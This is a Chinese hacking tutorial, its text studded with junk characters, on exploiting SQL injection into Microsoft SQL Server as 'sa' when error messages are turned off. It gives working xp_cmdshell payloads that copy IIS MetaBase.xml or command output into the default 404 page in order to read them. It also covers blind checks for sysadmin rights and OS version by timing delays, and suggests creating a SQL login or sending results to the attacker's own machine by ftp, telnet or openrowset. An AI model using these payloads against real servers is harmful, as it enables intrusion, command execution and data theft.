遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。/ q q7 j4 ?4 j
! S! c7 S9 p2 K3 D- y. u H$ d" j 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。( \) u1 [" A& z8 a# Y; O
% {) W1 K4 R0 \$ d: h* F# o 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
; ?! z- \( P# q5 G% g2 q/ w
, N N: _' C) u+ l IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm% s6 L0 ]4 |, b7 [! n
4 T/ a$ w3 q4 a9 F1 R9 E& G
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
7 G" p! d( a- A$ o/ J6 O( R& l% O m/ P* b& U) f: i
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
( e& g0 ^' ^1 G$ u K" v/ g2 z
4 ^! S$ n( G4 D+ ] 执行命令得到回显0 y8 T$ Q* |$ Q" S
- _% e+ j9 I- v5 ~7 W 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--, z5 h% b3 z; w: c$ _" B
4 C. U1 b7 F, F6 G- Z1 y
得到文件也shi相同,把文件copy到404b.htm就行了% P4 @% b% L+ {$ l9 H% s
4 R2 Z2 j; l W/ x) L4 H by 28ice, 2008/6/267 @, z0 V& c% u5 E$ K- G
7 Y4 ]( B7 d4 [, C4 }
摘自 28度的冰
X2 U. O" p; M% d2 X$ \; O9 u' t5 e1 V. C! j8 c/ t
盲注判断权限和操作系统版本0 m+ _3 I$ Z. k! y1 `% Z- }
# g3 G. e+ x5 O: d5 G3 O
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?) s; T1 _/ h: Z; h
2 d3 F" a$ m6 Y6 y
最简单的,可能以用这样的方法:# R) t. r: M2 C6 ?
1 G8 Y- I& o" L) i0 k/ H% C; N
1=(select IS_SRVROLEMEMBER(’sysadmin’))8 V6 B- d: A& b
6 P; i! h. x: @! {* d- R* \% @ 当然,有些情况下,这个方法并不奏效。
/ a/ i: P7 {$ ]/ e% U/ J! s6 `6 A+ a5 w
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。3 }: e) ~9 ^% E8 Q: X2 \7 _
$ ?( }& ~3 ^, q- c 有个3办法可能以解决这个问题
4 r- v1 j- F( Q/ ~4 \* \. ~- y, \- f* [$ n3 v, q2 E
a.把执行结果写到404b.htm,具体请看我的上一篇文章
9 M7 U+ @" f. Q2 N* p2 C$ q9 u' u7 E2 s0 d" Y, T) W. Z) K; l4 b
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
- _! G5 d5 P9 w3 }, U R
. y% K8 G' E+ G1 M4 |! a c.如果1433端口可能以连接,那干脆新建个sql登录
( [. T2 o$ S) R9 g+ u( @' w" @
$ z3 S2 w" b% b* G: T8 o7 ` L# F d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
2 c+ L" P) i6 n8 U4 f% P
0 T3 x3 L* Q% O% O 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下5 z- `. M9 F/ Y: f
6 n2 S3 e4 |' g4 H1 t 很简单9 ^/ s. U+ s. A9 s
/ l8 t b' N r- m& E' r4 e; f
执行systeminfo* f1 b% N, B+ t% V
' {: n M% a: B
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |